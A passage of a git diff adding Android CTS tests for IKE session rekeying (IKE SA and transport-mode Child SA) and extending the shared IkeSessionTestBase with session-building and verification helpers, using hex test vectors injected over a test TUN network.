+                        + "64E550BDD69FCD7E768129787ED9062992C1D6DB0F0631C2E05765B403CF"
+                        + "EF1D0A055B32F6698FF7DB5B8FB1B6A83A81634D00E22C86E35B3BFBEC73"
+                        + "EAC6806678926945BC7A57003DC1A3528A1EC423EE56C1075B36C0B57A6B"
+                        + "C6DD990182F6FABFFA167D199C7D629E5B830AAD2AFBD31CEBA6";
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
+        performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthCreateChildFailHex);
+
+        // Even though the child creation failed, the authentication succeeded, so the IKE Session's
+        // onOpened() callback is still expected
+        verifyIkeSessionSetupBlocking();
+
+        // Verify Child Creation failed
+        IkeProtocolException protocolException =
+                (IkeProtocolException) mFirstChildSessionCallback.awaitOnClosedException();
+        assertEquals(ERROR_TYPE_TS_UNACCEPTABLE, protocolException.getErrorType());
+        assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
+
+        ikeSession.kill();
+        mIkeSessionCallback.awaitOnClosed();
+    }
 }
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionRekeyTest.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionRekeyTest.java
new file mode 100644
index 0000000..f954fcd
--- /dev/null
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionRekeyTest.java
@@ -0,0 +1,265 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.ipsec.ike.cts;
+
+import static com.android.internal.util.HexDump.hexStringToByteArray;
+
+import android.net.InetAddresses;
+import android.net.LinkAddress;
+import android.net.ipsec.ike.IkeFqdnIdentification;
+import android.net.ipsec.ike.IkeSession;
+import android.net.ipsec.ike.IkeSessionParams;
+import android.net.ipsec.ike.IkeTrafficSelector;
+import android.net.ipsec.ike.cts.IkeTunUtils.PortPair;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.Arrays;
+
+/**
+ * Explicitly test transport mode Child SA so that devices without FEATURE_IPSEC_TUNNELS can be test
+ * covered. Tunnel mode Child SA setup has been tested in IkeSessionPskTest. Rekeying process is
+ * independent from Child SA mode.
+ */
+@RunWith(AndroidJUnit4.class)
+public class IkeSessionRekeyTest extends IkeSessionTestBase {
+    // This value is align with the test vectors hex that are generated in an IPv4 environment
+    private static final IkeTrafficSelector TRANSPORT_MODE_INBOUND_TS =
+            new IkeTrafficSelector(
+                    MIN_PORT,
+                    MAX_PORT,
+                    InetAddresses.parseNumericAddress("172.58.35.40"),
+                    InetAddresses.parseNumericAddress("172.58.35.40"));
+
+    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
+        IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(sContext)
+                        .setNetwork(mTunNetwork)
+                        .setServerHostname(remoteAddress.getHostAddress())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithNormalModeCipher())
+                        .addSaProposal(SaProposalTest.buildIkeSaProposalWithCombinedModeCipher())
+                        .setLocalIdentification(new IkeFqdnIdentification(LOCAL_HOSTNAME))
+                        .setRemoteIdentification(new IkeFqdnIdentification(REMOTE_HOSTNAME))
+                        .setAuthPsk(IKE_PSK)
+                        .build();
+        return new IkeSession(
+                sContext,
+                ikeParams,
+                buildTransportModeChildParamsWithTs(
+                        TRANSPORT_MODE_INBOUND_TS, TRANSPORT_MODE_OUTBOUND_TS),
+                mUserCbExecutor,
+                mIkeSessionCallback,
+                mFirstChildSessionCallback);
+    }
+
+    private byte[] buildInboundPkt(PortPair outPktSrcDestPortPair, String inboundDataHex)
+            throws Exception {
+        // Build inbound packet by flipping the outbound packet addresses and ports
+        return IkeTunUtils.buildIkePacket(
+                mRemoteAddress,
+                mLocalAddress,
+                outPktSrcDestPortPair.dstPort,
+                outPktSrcDestPortPair.srcPort,
+                true /* useEncap */,
+                hexStringToByteArray(inboundDataHex));
+    }
+
+    @Test
+    public void testRekeyIke() throws Exception {
+        final String ikeInitResp =
+                "46B8ECA1E0D72A1866B5248CF6C7472D21202220000000000000015022000030"
+                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
+                        + "0200000500000008040000022800008800020000920D3E830E7276908209212D"
+                        + "E5A7F2A48706CFEF1BE8CB6E3B173B8B4E0D8C2DC626271FF1B13A88619E569E"
+                        + "7B03C3ED2C127390749CDC7CDC711D0A8611E4457FFCBC4F0981B3288FBF58EA"
+                        + "3E8B70E27E76AE70117FBBCB753660ADDA37EB5EB3A81BED6A374CCB7E132C2A"
+                        + "94BFCE402DC76B19C158B533F6B1F2ABF01ACCC329000024B302CA2FB85B6CF4"
+                        + "02313381246E3C53828D787F6DFEA6BD62D6405254AEE6242900001C00004004"
+                        + "7A1682B06B58596533D00324886EF1F20EF276032900001C00004005BF633E31"
+                        + "F9984B29A62E370BB2770FC09BAEA665290000080000402E290000100000402F"
+                        + "00020003000400050000000800004014";
+        final String ikeAuthResp =
+                "46B8ECA1E0D72A1866B5248CF6C7472D2E20232000000001000000F0240000D4"
+                        + "10166CA8647F56123DE74C17FA5E256043ABF73216C812EE32EE1BB01EAF4A82"
+                        + "DC107AB3ADBFEE0DEA5EEE10BDD5D43178F4C975C7C775D252273BB037283C7F"
+                        + "236FE34A6BCE4833816897075DB2055B9FFD66DFA45A0A89A8F70AFB59431EED"
+                        + "A20602FB614369D12906D3355CF7298A5D25364ABBCC75A9D88E0E6581449FCD"
+                        + "4E361A39E00EFD1FD0A69651F63DB46C12470226AA21BA5EFF48FAF0B6DDF61C"
+                        + "B0A69392CE559495EEDB4D1C1D80688434D225D57210A424C213F7C993D8A456"
+                        + "38153FBD194C5E247B592D1D048DB4C8";
+        final String rekeyIkeCreateReq =
+                "46B8ECA1E0D72A1866B5248CF6C7472D2E202400000000000000013021000114"
+                        + "13743670039E308A8409BA5FD47B67F956B36FEE88AC3B70BB5D789B8218A135"
+                        + "1B3D83E260E87B3EDB1BF064F09D4DC2611AEDBC99951B4B2DE767BD4AA2ACC3"
+                        + "3653549CFC66B75869DF003CDC9A137A9CC27776AD5732B34203E74BE8CA4858"
+                        + "1D5C0D9C9CA52D680EB299B4B21C7FA25FFEE174D57015E0FF2EAED653AAD95C"
+                        + "071ABE269A8C2C9FBC1188E07550EB992F910D4CA9689E44BA66DE0FABB2BDF9"
+                        + "8DD377186DBB25EF9B68B027BB2A27981779D8303D88D7CE860010A42862D50B"
+                        + "1E0DBFD3D27C36F14809D7F493B2B96A65534CF98B0C32AD5219AD77F681AC04"
+                        + "9D5CB89A0230A91A243FA7F16251B0D9B4B65E7330BEEAC9663EF4578991EAC8"
+                        + "46C19EBB726E7D113F1D0D601102C05E";
+        final String rekeyIkeDeleteReq =
+                "46B8ECA1E0D72A1866B5248CF6C7472D2E20250000000001000000502A000034"
+                        + "02E40C0C7B1ED977729F705BB9B643FAC513A1070A6EB28ECD2AEA8A441ADC05"
+                        + "7841382A7967BBF116AE52496590B2AD";
+        final String deleteIkeReq =
+                "7D3DEDC65407D1FC9361C8CF8C47162A2E20250800000000000000502A000034"
+                        + "201915C9E4E9173AA9EE79F3E02FE2D4954B22085C66D164762C34D347C16E9F"
+                        + "FC5F7F114428C54D8D915860C57B1BC1";
+        final long newIkeDeterministicInitSpi = Long.parseLong("7D3DEDC65407D1FC", 16);
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
+
+        // Local request message ID starts from 2 because there is one IKE_INIT message and a single
+        // IKE_AUTH message.
+        int expectedReqMsgId = 2;
+        int expectedRespMsgId = 0;
+
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
+                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
+                new ArrayList<LinkAddress>());
+        IpSecTransformCallRecord firstTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord firstTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(firstTransformRecordA, firstTransformRecordB);
+
+        // Inject rekey IKE requests
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeCreateReq));
+        mTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyIkeDeleteReq));
+        mTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
+
+        // IKE has been rekeyed, reset message IDs
+        expectedReqMsgId = 0;
+        expectedRespMsgId = 0;
+
+        // Inject delete IKE request
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
+        mTunUtils.awaitResp(
+                newIkeDeterministicInitSpi, expectedRespMsgId++, true /* expectedUseEncap */);
+
+        verifyDeleteIpSecTransformPair(
+                mFirstChildSessionCallback, firstTransformRecordA, firstTransformRecordB);
+        mFirstChildSessionCallback.awaitOnClosed();
+        mIkeSessionCallback.awaitOnClosed();
+    }
+
+    @Test
+    public void testRekeyTransportModeChildSa() throws Exception {
+        final String ikeInitResp =
+                "46B8ECA1E0D72A18CECD871146CF83A121202220000000000000015022000030"
+                        + "0000002C010100040300000C0100000C800E0100030000080300000C03000008"
+                        + "0200000500000008040000022800008800020000C4904458957746BCF1C12972"
+                        + "1D4E19EB8A584F78DE673053396D167CE0F34552DBC69BA63FE7C673B4CF4A99"
+                        + "62481518EE985357876E8C47BAAA0DBE9C40AE47B12E52165874703586E8F786"
+                        + "045F72EEEB238C5D1823352BED44B71B3214609276ADC0B3D42DAC820168C4E2"
+                        + "660730DAAC92492403288805EBB9053F1AB060DA290000242D9364ACB93519FF"
+                        + "8F8B019BAA43A40D699F59714B327B8382216EF427ED52282900001C00004004"
+                        + "06D91438A0D6B734E152F76F5CC55A72A2E38A0A2900001C000040052EFF78B3"
+                        + "55B37F3CE75AFF26C721B050F892C0D6290000080000402E290000100000402F"
+                        + "00020003000400050000000800004014";
+        final String ikeAuthResp =
+                "46B8ECA1E0D72A18CECD871146CF83A12E20232000000001000000F0240000D4"
+                        + "A17BC258BA2714CF536663639DD5F665A60C75E93557CD5141990A8CEEDD2017"
+                        + "93F5B181C8569FBCD6C2A00198EC2B62D42BEFAC016B8B6BF6A7BC9CEDE3413A"
+                        + "6C495A6B8EC941864DC3E08F57D015EA6520C4B05884960B85478FCA53DA5F17"
+                        + "9628BB1097DA77461C71837207A9EB80720B3E6E661816EE4E14AC995B5E8441"
+                        + "A4C3F9097CC148142BA300076C94A23EC4ADE82B1DD2B121F7E9102860A8C3BF"
+                        + "58DDC207285A3176E924C44DE820322524E1AA438EFDFBA781B36084AED80846"
+                        + "3B77FCED9682B6E4E476408EF3F1037E";
+        final String rekeyChildCreateReq =
+                "46B8ECA1E0D72A18CECD871146CF83A12E202400000000000000015029000134"
+                        + "319D74B6B155B86942143CEC1D29D21F073F24B7BEDC9BFE0F0FDD8BDB5458C0"
+                        + "8DB93506E1A43DD0640FE7370C97F9B34FF4EC9B2DB7257A87B75632301FB68A"
+                        + "86B54871249534CA3D01C9BEB127B669F46470E1C8AAF72574C3CEEC15B901CF"
+                        + "5A0D6ADAE59C3CA64AC8C86689C860FAF9500E608DFE63F2DCD30510FD6FFCD5"
+                        + "A50838574132FD1D069BCACD4C7BAF45C9B1A7689FAD132E3F56DBCFAF905A8C"
+                        + "4145D4BA1B74A54762F8F43308D94DE05649C49D885121CE30681D51AC1E3E68"
+                        + "AB82F9A19B99579AFE257F32DBD1037814DA577379E4F42DEDAC84502E49C933"
+                        + "9EA83F6F5DB4401B660CB1681B023B8603D205DFDD1DE86AD8DE22B6B754F30D"
+                        + "05EAE81A709C2CEE81386133DC3DC7B5EF8F166E48E54A0722DD0C64F4D00638"
+                        + "40F272144C47F6ECED72A248180645DB";
+        final String rekeyChildDeleteReq =
+                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000001000000502A000034"
+                        + "02D98DAF0432EBD991CA4F2D89C1E0EFABC6E91A3327A85D8914FB2F1485BE1B"
+                        + "8D3415D548F7CE0DC4224E7E9D0D3355";
+        final String deleteIkeReq =
+                "46B8ECA1E0D72A18CECD871146CF83A12E20250000000002000000502A000034"
+                        + "095041F4026B4634F04B0AB4F9349484F7BE9AEF03E3733EEE293330043B75D2"
+                        + "ABF5F965ED51127629585E1B1BBA787F";
+
+        // Open IKE Session
+        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        PortPair localRemotePorts = performSetupIkeAndFirstChildBlocking(ikeInitResp, ikeAuthResp);
+
+        // IKE INIT and IKE AUTH takes two exchanges. Local request message ID starts from 2
+        int expectedReqMsgId = 2;
+        int expectedRespMsgId = 0;
+
+        verifyIkeSessionSetupBlocking();
+        verifyChildSessionSetupBlocking(
+                mFirstChildSessionCallback,
+                Arrays.asList(TRANSPORT_MODE_INBOUND_TS),
+                Arrays.asList(TRANSPORT_MODE_OUTBOUND_TS),
+                new ArrayList<LinkAddress>());
+        IpSecTransformCallRecord oldTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord oldTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(oldTransformRecordA, oldTransformRecordB);
+
+        // Inject rekey Child requests
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildCreateReq));
+        mTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, rekeyChildDeleteReq));
+        mTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
+
+        // Verify IpSecTransforms are renewed
+        IpSecTransformCallRecord newTransformRecordA =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        IpSecTransformCallRecord newTransformRecordB =
+                mFirstChildSessionCallback.awaitNextCreatedIpSecTransform();
+        verifyCreateIpSecTransformPair(newTransformRecordA, newTransformRecordB);
+        verifyDeleteIpSecTransformPair(
+                mFirstChildSessionCallback, oldTransformRecordA, oldTransformRecordB);
+
+        // Inject delete IKE request
+        mTunUtils.injectPacket(buildInboundPkt(localRemotePorts, deleteIkeReq));
+        mTunUtils.awaitResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedRespMsgId++, true /* expectedUseEncap */);
+
+        verifyDeleteIpSecTransformPair(
+                mFirstChildSessionCallback, newTransformRecordA, newTransformRecordB);
+        mFirstChildSessionCallback.awaitOnClosed();
+        mIkeSessionCallback.awaitOnClosed();
+    }
+}
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
index deba8fd..a81063b 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
@@ -15,13 +15,21 @@
 
 package android.net.ipsec.ike.cts;
 
-import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
+import static android.net.ipsec.ike.IkeSessionConfiguration.EXTENSION_TYPE_FRAGMENTATION;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.AF_INET6;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.annotation.NonNull;
 import android.app.AppOpsManager;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.InetAddresses;
+import android.net.IpSecManager;
 import android.net.IpSecTransform;
 import android.net.LinkAddress;
 import android.net.Network;
@@ -32,14 +40,17 @@
 import android.net.ipsec.ike.ChildSessionConfiguration;
 import android.net.ipsec.ike.IkeSessionCallback;
 import android.net.ipsec.ike.IkeSessionConfiguration;
+import android.net.ipsec.ike.IkeSessionConnectionInfo;
 import android.net.ipsec.ike.IkeTrafficSelector;
+import android.net.ipsec.ike.TransportModeChildSessionParams;
+import android.net.ipsec.ike.TunnelModeChildSessionParams;
+import android.net.ipsec.ike.cts.IkeTunUtils.PortPair;
 import android.net.ipsec.ike.cts.TestNetworkUtils.TestNetworkCallback;
 import android.net.ipsec.ike.exceptions.IkeException;
 import android.net.ipsec.ike.exceptions.IkeProtocolException;
 import android.os.Binder;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -55,6 +66,11 @@
 
 import java.net.Inet4Address;
 import java.net.InetAddress;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Objects;
+import java.util.Set;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Executor;
 import java.util.concurrent.Executors;
@@ -65,6 +81,13 @@
  *
  * <p>Subclasses MUST explicitly call #setUpTestNetwork and #tearDownTestNetwork to be able to use
  * the test network
+ *
+ * <p>All IKE Sessions running in test mode will generate SPIs deterministically. That is to say
+ * each IKE Session will always generate the same IKE INIT SPI and test vectors are generated based
+ * on this deterministic IKE SPI. Each test will use different local and remote addresses to avoid
+ * the case that the next test try to allocate the same SPI before the previous test has released
+ * it, since SPI resources are not released in testing thread. Similarly, each test MUST use
+ * different Network instances to avoid sharing the same IkeSocket and hitting IKE SPI collision.
  */
 @RunWith(AndroidJUnit4.class)
 @AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
@@ -72,13 +95,39 @@
     // Package-wide common expected results that will be shared by all IKE/Child SA creation tests
     static final String EXPECTED_REMOTE_APP_VERSION_EMPTY = "";
     static final byte[] EXPECTED_PROTOCOL_ERROR_DATA_NONE = new byte[0];
+
+    static final InetAddress EXPECTED_DNS_SERVERS_ONE =
+            InetAddresses.parseNumericAddress("8.8.8.8");
+    static final InetAddress EXPECTED_DNS_SERVERS_TWO =
+            InetAddresses.parseNumericAddress("8.8.4.4");
+
     static final InetAddress EXPECTED_INTERNAL_ADDR =
             InetAddresses.parseNumericAddress("198.51.100.10");
     static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR =
             new LinkAddress(EXPECTED_INTERNAL_ADDR, IP4_PREFIX_LEN);
-    static final IkeTrafficSelector EXPECTED_INBOUND_TS =
+    static final InetAddress EXPECTED_INTERNAL_ADDR_V6 =
+            InetAddresses.parseNumericAddress("2001:db8::2");
+    static final LinkAddress EXPECTED_INTERNAL_LINK_ADDR_V6 =
+            new LinkAddress(EXPECTED_INTERNAL_ADDR_V6, IP6_PREFIX_LEN);
+
+    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS =
             new IkeTrafficSelector(
                     MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR, EXPECTED_INTERNAL_ADDR);
+    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS = DEFAULT_V4_TS;
+    static final IkeTrafficSelector TUNNEL_MODE_INBOUND_TS_V6 =
+            new IkeTrafficSelector(
+                    MIN_PORT, MAX_PORT, EXPECTED_INTERNAL_ADDR_V6, EXPECTED_INTERNAL_ADDR_V6);
+    static final IkeTrafficSelector TUNNEL_MODE_OUTBOUND_TS_V6 = DEFAULT_V6_TS;
+
+    // This value is align with the test vectors hex that are generated in an IPv4 environment
+    static final IkeTrafficSelector TRANSPORT_MODE_OUTBOUND_TS =
+            new IkeTrafficSelector(
+                    MIN_PORT,
+                    MAX_PORT,
+                    InetAddresses.parseNumericAddress("10.138.0.2"),
+                    InetAddresses.parseNumericAddress("10.138.0.2"));
+
+    static final long IKE_DETERMINISTIC_INITIATOR_SPI = Long.parseLong("46B8ECA1E0D72A18", 16);
 
     // Static state to reduce setup/teardown
     static Context sContext = InstrumentationRegistry.getContext();
@@ -116,20 +165,13 @@
         InstrumentationRegistry.getInstrumentation()
                 .getUiAutomation()
                 .adoptShellPermissionIdentity();
-        sTNM = (TestNetworkManager) sContext.getSystemService(Context.TEST_NETWORK_SERVICE);
-
-        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
-        // a standard permission is insufficient. So we shell out the appop, to give us the
-        // right appop permissions.
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, true);
+        sTNM = sContext.getSystemService(TestNetworkManager.class);
     }
 
     // This method is guaranteed to run in subclasses and will run after subclasses' @AfterClass
     // methods.
     @AfterClass
     public static void tearDownPermissionAfterClass() throws Exception {
-        setAppOp(OP_MANAGE_IPSEC_TUNNELS, false);
-
         InstrumentationRegistry.getInstrumentation()
                 .getUiAutomation()
                 .dropShellPermissionIdentity();
@@ -149,14 +191,10 @@
     @After
     public void tearDown() throws Exception {
         tearDownTestNetwork();
-
-        resetNextAvailableAddress(NEXT_AVAILABLE_IP4_ADDR_LOCAL, INITIAL_AVAILABLE_IP4_ADDR_LOCAL);
-        resetNextAvailableAddress(
-                NEXT_AVAILABLE_IP4_ADDR_REMOTE, INITIAL_AVAILABLE_IP4_ADDR_REMOTE);
     }
 
     void setUpTestNetwork(InetAddress localAddr) throws Exception {
-        int prefixLen = localAddr instanceof Inet4Address ? IP4_PREFIX_LEN : IP4_PREFIX_LEN;
+        int prefixLen = localAddr instanceof Inet4Address ? IP4_PREFIX_LEN : IP6_PREFIX_LEN;
 
         TestNetworkInterface testIface =
                 sTNM.createTunInterface(new LinkAddress[] {new LinkAddress(localAddr, prefixLen)});
@@ -176,7 +214,7 @@
         mTunFd.close();
     }
 
-    private static void setAppOp(int appop, boolean allow) {
+    static void setAppOp(int appop, boolean allow) {
         String opName = AppOpsManager.opToName(appop);
         for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
             String cmd =
@@ -185,9 +223,8 @@
                             pkg, // Package name
                             opName, // Appop
                             (allow ? "allow" : "deny")); // Action
-            Log.d("IKE", "CTS setAppOp cmd " + cmd);
 
-            String result = SystemUtil.runShellCommand(cmd);
+            SystemUtil.runShellCommand(cmd);
         }
     }
 
@@ -229,6 +266,86 @@
         }
     }
 
+    TransportModeChildSessionParams buildTransportModeChildParamsWithTs(
+            IkeTrafficSelector inboundTs, IkeTrafficSelector outboundTs) {
+        return new TransportModeChildSessionParams.Builder()
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
+                .addInboundTrafficSelectors(inboundTs)
+                .addOutboundTrafficSelectors(outboundTs)
+                .build();
+    }
+
+    TransportModeChildSessionParams buildTransportModeChildParamsWithDefaultTs() {
+        return new TransportModeChildSessionParams.Builder()
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
+                .build();
+    }
+
+    TunnelModeChildSessionParams buildTunnelModeChildSessionParams() {
+        return new TunnelModeChildSessionParams.Builder()
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
+                .addInternalAddressRequest(AF_INET)
+                .addInternalAddressRequest(AF_INET6)
+                .build();
+    }
+
+    PortPair performSetupIkeAndFirstChildBlocking(String ikeInitRespHex, String... ikeAuthRespHexes)
+            throws Exception {
+        return performSetupIkeAndFirstChildBlocking(
+                ikeInitRespHex,
+                1 /* expectedAuthReqPktCnt */,
+                true /*expectedAuthUseEncap*/,
+                ikeAuthRespHexes);
+    }
+
+    PortPair performSetupIkeAndFirstChildBlocking(
+            String ikeInitRespHex, boolean expectedAuthUseEncap, String... ikeAuthRespHexes)
+            throws Exception {
+        return performSetupIkeAndFirstChildBlocking(
+                ikeInitRespHex,
+                1 /* expectedAuthReqPktCnt */,
+                expectedAuthUseEncap,
+                ikeAuthRespHexes);
+    }
+
+    PortPair performSetupIkeAndFirstChildBlocking(
+            String ikeInitRespHex,
+            int expectedAuthReqPktCnt,
+            boolean expectedAuthUseEncap,
+            String... ikeAuthRespHexes)
+            throws Exception {
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI,
+                0 /* expectedMsgId */,
+                false /* expectedUseEncap */,
+                ikeInitRespHex);
+
+        byte[] ikeAuthReqPkt =
+                mTunUtils
+                        .awaitReqAndInjectResp(
+                                IKE_DETERMINISTIC_INITIATOR_SPI,
+                                1 /* expectedMsgId */,
+                                expectedAuthUseEncap,
+                                expectedAuthReqPktCnt,
+                                ikeAuthRespHexes)
+                        .get(0);
+        return IkeTunUtils.getSrcDestPortPair(ikeAuthReqPkt);
+    }
+
+    void performCloseIkeBlocking(int expectedMsgId, String deleteIkeRespHex) throws Exception {
+        performCloseIkeBlocking(expectedMsgId, true /* expectedUseEncap*/, deleteIkeRespHex);
+    }
+
+    void performCloseIkeBlocking(
+            int expectedMsgId, boolean expectedUseEncap, String deleteIkeRespHex) throws Exception {
+        mTunUtils.awaitReqAndInjectResp(
+                IKE_DETERMINISTIC_INITIATOR_SPI, expectedMsgId, expectedUseEncap, deleteIkeRespHex);
+    }
+
+    /** Testing callback that allows caller to block current thread until a method get called */
     static class TestIkeSessionCallback implements IkeSessionCallback {
         private CompletableFuture<IkeSessionConfiguration> mFutureIkeConfig =
                 new CompletableFuture<>();
@@ -282,6 +399,7 @@
         }
     }
 
+    /** Testing callback that allows caller to block current thread until a method get called */
     static class TestChildSessionCallback implements ChildSessionCallback {
         private CompletableFuture<ChildSessionConfiguration> mFutureChildConfig =
                 new CompletableFuture<>();
@@ -366,9 +484,115 @@
             this.ipSecTransform = ipSecTransform;
             this.direction = direction;
         }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(ipSecTransform, direction);
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (!(o instanceof IpSecTransformCallRecord)) return false;
+
+            IpSecTransformCallRecord record = (IpSecTransformCallRecord) o;
+            return ipSecTransform.equals(record.ipSecTransform) && direction == record.direction;
+        }
     }
 
-    // TODO(b/148689509): Verify IKE Session setup using EAP and digital-signature-based auth
+    void verifyIkeSessionSetupBlocking() throws Exception {
+        IkeSessionConfiguration ikeConfig = mIkeSessionCallback.awaitIkeConfig();
+        assertNotNull(ikeConfig);
+        assertEquals(EXPECTED_REMOTE_APP_VERSION_EMPTY, ikeConfig.getRemoteApplicationVersion());
+        assertTrue(ikeConfig.getRemoteVendorIds().isEmpty());
+        assertTrue(ikeConfig.getPcscfServers().isEmpty());
+        assertTrue(ikeConfig.isIkeExtensionEnabled(EXTENSION_TYPE_FRAGMENTATION));
+
+        IkeSessionConnectionInfo ikeConnectInfo = ikeConfig.getIkeSessionConnectionInfo();
+        assertNotNull(ikeConnectInfo);
+        assertEquals(mLocalAddress, ikeConnectInfo.getLocalAddress());
+        assertEquals(mRemoteAddress, ikeConnectInfo.getRemoteAddress());
+        assertEquals(mTunNetwork, ikeConnectInfo.getNetwork());
+    }
+
+    void verifyChildSessionSetupBlocking(
+            TestChildSessionCallback childCallback,
+            List<IkeTrafficSelector> expectedInboundTs,
+            List<IkeTrafficSelector> expectedOutboundTs,
+            List<LinkAddress> expectedInternalAddresses)
+            throws Exception {
+        verifyChildSessionSetupBlocking(
+                childCallback,
+                expectedInboundTs,
+                expectedOutboundTs,
+                expectedInternalAddresses,
+                new ArrayList<InetAddress>() /* expectedDnsServers */);
+    }
+
+    void verifyChildSessionSetupBlocking(
+            TestChildSessionCallback childCallback,
+            List<IkeTrafficSelector> expectedInboundTs,
+            List<IkeTrafficSelector> expectedOutboundTs,
+            List<LinkAddress> expectedInternalAddresses,
+            List<InetAddress> expectedDnsServers)
+            throws Exception {
+        ChildSessionConfiguration childConfig = childCallback.awaitChildConfig();
+        assertNotNull(childConfig);
+        assertEquals(expectedInboundTs, childConfig.getInboundTrafficSelectors());
+        assertEquals(expectedOutboundTs, childConfig.getOutboundTrafficSelectors());
+        assertEquals(expectedInternalAddresses, childConfig.getInternalAddresses());
+        assertEquals(expectedDnsServers, childConfig.getInternalDnsServers());
+        assertTrue(childConfig.getInternalSubnets().isEmpty());
+        assertTrue(childConfig.getInternalDhcpServers().isEmpty());
+    }
+
+    void verifyCloseIkeAndChildBlocking(
+            IpSecTransformCallRecord expectedTransformRecordA,
+            IpSecTransformCallRecord expectedTransformRecordB)
+            throws Exception {
+        verifyDeleteIpSecTransformPair(
+                mFirstChildSessionCallback, expectedTransformRecordA, expectedTransformRecordB);
+        mFirstChildSessionCallback.awaitOnClosed();
+        mIkeSessionCallback.awaitOnClosed();
+    }
+
+    static void verifyCreateIpSecTransformPair(
